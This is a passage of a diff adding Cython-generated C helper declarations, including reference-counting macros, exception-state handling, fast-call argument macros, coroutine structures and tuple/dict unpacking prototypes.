__Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = __Pyx__GetModuleGlobalName(name) +#define __Pyx_GetModuleGlobalNameUncached(var, name) (var) = __Pyx__GetModuleGlobalName(name) +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name); +#endif + +/* PyFunctionFastCall.proto */ +#if CYTHON_FAST_PYCALL +#if !CYTHON_VECTORCALL +#define __Pyx_PyFunction_FastCall(func, args, nargs)\ + __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); +#endif +#define __Pyx_BUILD_ASSERT_EXPR(cond)\ + (sizeof(char [1 - 2*!(cond)]) - 1) +#ifndef Py_MEMBER_SIZE +#define Py_MEMBER_SIZE(type, member) sizeof(((type *)0)->member) +#endif +#if !CYTHON_VECTORCALL +#if PY_VERSION_HEX >= 0x03080000 + #include "frameobject.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif + #define __Pxy_PyFrame_Initialize_Offsets() + #define __Pyx_PyFrame_GetLocalsplus(frame) ((frame)->f_localsplus) +#else + static size_t __pyx_pyframe_localsplus_offset = 0; + #include "frameobject.h" + #define __Pxy_PyFrame_Initialize_Offsets()\ + ((void)__Pyx_BUILD_ASSERT_EXPR(sizeof(PyFrameObject) == offsetof(PyFrameObject, f_localsplus) + Py_MEMBER_SIZE(PyFrameObject, f_localsplus)),\ + (void)(__pyx_pyframe_localsplus_offset = ((size_t)PyFrame_Type.tp_basicsize) - Py_MEMBER_SIZE(PyFrameObject, f_localsplus))) + #define __Pyx_PyFrame_GetLocalsplus(frame)\ + (assert(__pyx_pyframe_localsplus_offset), (PyObject **)(((char *)(frame)) + __pyx_pyframe_localsplus_offset)) +#endif +#endif +#endif + +/* PyObjectCall.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); +#else +#define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) +#endif + +/* PyObjectCallMethO.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); +#endif + +/* PyObjectFastCall.proto */ +#define __Pyx_PyObject_FastCall(func, args, nargs) __Pyx_PyObject_FastCallDict(func, args, (size_t)(nargs), NULL) +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs); + +/* IncludeStructmemberH.proto */ +#include + +/* FixUpExtensionType.proto */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type); +#endif + +/* FetchSharedCythonModule.proto */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void); + +/* FetchCommonType.proto */ +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type); +#else +static PyTypeObject* __Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases); +#endif + +/* RaiseException.proto */ +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause); + +/* GetTopmostException.proto */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * __Pyx_PyErr_GetTopmostException(PyThreadState *tstate); +#endif + +/* SaveResetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSave(type, value, tb) __Pyx__ExceptionSave(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#define __Pyx_ExceptionReset(type, value, tb) __Pyx__ExceptionReset(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +#else +#define __Pyx_ExceptionSave(type, value, tb) PyErr_GetExcInfo(type, value, tb) +#define __Pyx_ExceptionReset(type, value, tb) PyErr_SetExcInfo(type, value, tb) +#endif + +/* SwapException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_ExceptionSwap(type, value, tb) __Pyx__ExceptionSwap(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* PyObjectCall2Args.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call2Args(PyObject* function, PyObject* arg1, PyObject* arg2); + +/* PyObjectCallOneArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); + +/* PyObjectGetMethod.proto */ +static int __Pyx_PyObject_GetMethod(PyObject *obj, PyObject *name, PyObject **method); + +/* PyObjectCallMethod1.proto */ +static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg); + +/* PyObjectCallNoArg.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); + +/* CoroutineBase.proto */ +struct __pyx_CoroutineObject; +typedef PyObject *(*__pyx_coroutine_body_t)(struct __pyx_CoroutineObject *, PyThreadState *, PyObject *); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_ExcInfoStruct _PyErr_StackItem +#else +typedef struct { + PyObject *exc_type; + PyObject *exc_value; + PyObject *exc_traceback; +} __Pyx_ExcInfoStruct; +#endif +typedef struct __pyx_CoroutineObject { + PyObject_HEAD + __pyx_coroutine_body_t body; + PyObject *closure; + __Pyx_ExcInfoStruct gi_exc_state; + PyObject *gi_weakreflist; + PyObject *classobj; + PyObject *yieldfrom; + PyObject *gi_name; + PyObject *gi_qualname; + PyObject *gi_modulename; + PyObject *gi_code; + PyObject *gi_frame; + int resume_label; + char is_running; +} __pyx_CoroutineObject; +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject *type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name); +static CYTHON_INLINE void __Pyx_Coroutine_ExceptionClear(__Pyx_ExcInfoStruct *self); +static int __Pyx_Coroutine_clear(PyObject *self); +static PyObject *__Pyx_Coroutine_Send(PyObject *self, PyObject *value); +static PyObject *__Pyx_Coroutine_Close(PyObject *self); +static PyObject *__Pyx_Coroutine_Throw(PyObject *gen, PyObject *args); +#if CYTHON_USE_EXC_INFO_STACK +#define __Pyx_Coroutine_SwapException(self) +#define __Pyx_Coroutine_ResetAndClearException(self) __Pyx_Coroutine_ExceptionClear(&(self)->gi_exc_state) +#else +#define __Pyx_Coroutine_SwapException(self) {\ + __Pyx_ExceptionSwap(&(self)->gi_exc_state.exc_type, &(self)->gi_exc_state.exc_value, &(self)->gi_exc_state.exc_traceback);\ + __Pyx_Coroutine_ResetFrameBackpointer(&(self)->gi_exc_state);\ + } +#define __Pyx_Coroutine_ResetAndClearException(self) {\ + __Pyx_ExceptionReset((self)->gi_exc_state.exc_type, (self)->gi_exc_state.exc_value, (self)->gi_exc_state.exc_traceback);\ + (self)->gi_exc_state.exc_type = (self)->gi_exc_state.exc_value = (self)->gi_exc_state.exc_traceback = NULL;\ + } +#endif +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__pyx_tstate, pvalue) +#else +#define __Pyx_PyGen_FetchStopIterationValue(pvalue)\ + __Pyx_PyGen__FetchStopIterationValue(__Pyx_PyThreadState_Current, pvalue) +#endif +static int __Pyx_PyGen__FetchStopIterationValue(PyThreadState *tstate, PyObject **pvalue); +static CYTHON_INLINE void __Pyx_Coroutine_ResetFrameBackpointer(__Pyx_ExcInfoStruct *exc_state); + +/* PyObject_GenericGetAttrNoDict.proto */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GenericGetAttrNoDict PyObject_GenericGetAttr +#endif + +/* PatchModuleWithCoroutine.proto */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code); + +/* PatchGeneratorABC.proto */ +static int __Pyx_patch_abc(void); + +/* Coroutine.proto */ +#define __Pyx_Coroutine_USED +#define __Pyx_Coroutine_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineType) +#define __Pyx_Coroutine_Check(obj) __Pyx_Coroutine_CheckExact(obj) +#define __Pyx_CoroutineAwait_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CoroutineAwaitType) +#define __Pyx_Coroutine_New(body, code, closure, name, qualname, module_name)\ + __Pyx__Coroutine_New(__pyx_CoroutineType, body, code, closure, name, qualname, module_name) +static int __pyx_Coroutine_init(PyObject *module); +static PyObject *__Pyx__Coroutine_await(PyObject *coroutine); +typedef struct { + PyObject_HEAD + PyObject *coroutine; +} __pyx_CoroutineAwaitObject; +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg); +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args); + +/* GetAwaitIter.proto */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o); +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *o); + +/* CoroutineYieldFrom.proto */ +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* DictGetItem.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key); +#define __Pyx_PyObject_Dict_GetItem(obj, name)\ + (likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyUnicode_Unicode.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_Unicode(PyObject *obj); + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* UnicodeConcatInPlace.proto */ +# if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 + #if CYTHON_REFNANNY + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right, __pyx_refnanny) + #else + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right) + #endif + static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ); +#else +#define __Pyx_PyUnicode_ConcatInPlace __Pyx_PyUnicode_Concat +#endif +#define __Pyx_PyUnicode_ConcatInPlaceSafe(left, right) ((unlikely((left) == Py_None) || unlikely((right) == Py_None)) ?\ + PyNumber_InPlaceAdd(left, right) : __Pyx_PyUnicode_ConcatInPlace(left, right)) + +/* IterFinish.proto */ +static CYTHON_INLINE int __Pyx_IterFinish(void); + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* RaiseNeedMoreValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index); + +/* RaiseTooManyValuesToUnpack.proto */ +static CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected); + +/* UnpackItemEndCheck.proto */ +static int __Pyx_IternextUnpackEndCheck(PyObject *retval, Py_ssize_t expected); + +/* RaiseNoneIterError.proto */ +static CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void); + +/* UnpackTupleError.proto */ +static void __Pyx_UnpackTupleError(PyObject *, Py_ssize_t index); + +/* UnpackTuple2.proto */ +#define __Pyx_unpack_tuple2(tuple, value1, value2, is_tuple, has_known_size, decref_tuple)\ + (likely(is_tuple || PyTuple_Check(tuple)) ?\ + (likely(has_known_size || PyTuple_GET_SIZE(tuple) == 2) ?\ + __Pyx_unpack_tuple2_exact(tuple, value1, value2, decref_tuple) :\ + (__Pyx_UnpackTupleError(tuple, 2), -1)) :\ + __Pyx_unpack_tuple2_generic(tuple, value1, value2, has_known_size, decref_tuple)) +static CYTHON_INLINE int __Pyx_unpack_tuple2_exact( + PyObject* tuple, PyObject** value1, PyObject** value2, int decref_tuple); +static int __Pyx_unpack_tuple2_generic( + PyObject* tuple, PyObject** value1, PyObject** value2, int has_known_size, int decref_tuple); + +/* dict_iter.proto */ +static CYTHON_INLINE PyObject* __Pyx_dict_iterator(PyObject* dict, int is_dict, PyObject* method_name, + Py_ssize_t* p_orig_length, int* p_is_dict); +static CYTHON_INLINE int __Pyx_dict_iter_next(PyObject* dict_or_iter, Py_ssize_t orig_length, Py_ssize_t* ppos, + PyObject** pkey, PyObject** pvalue, PyObject** pitem, int is_dict); + +/* GetItemInt.proto */ +#define __Pyx_GetItemInt(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Fast(o, (Py_ssize_t)i, is_list, wraparound, boundscheck) :\ + (is_list ? (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL) :\ + __Pyx_GetItemInt_Generic(o, to_py_func(i)))) +#define __Pyx_GetItemInt_List(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_List_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "list index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +#define __Pyx_GetItemInt_Tuple(o, i, type, is_signed, to_py_func, is_list, wraparound, boundscheck)\ + (__Pyx_fits_Py_ssize_t(i, type, is_signed) ?\ + __Pyx_GetItemInt_Tuple_Fast(o, (Py_ssize_t)i, wraparound, boundscheck) :\ + (PyErr_SetString(PyExc_IndexError, "tuple index out of range"), (PyObject*)NULL)) +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + int wraparound, int boundscheck); +static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j); +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, + int is_list, int wraparound, int boundscheck); + +/* PyIntBinop.proto */ +#if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_MultiplyObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check); +#else +#define __Pyx_PyInt_MultiplyObjC(op1, op2, intval, inplace, zerodivision_check)\ + (inplace ? PyNumber_InPlaceMultiply(op1, op2) : PyNumber_Multiply(op1, op2)) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* 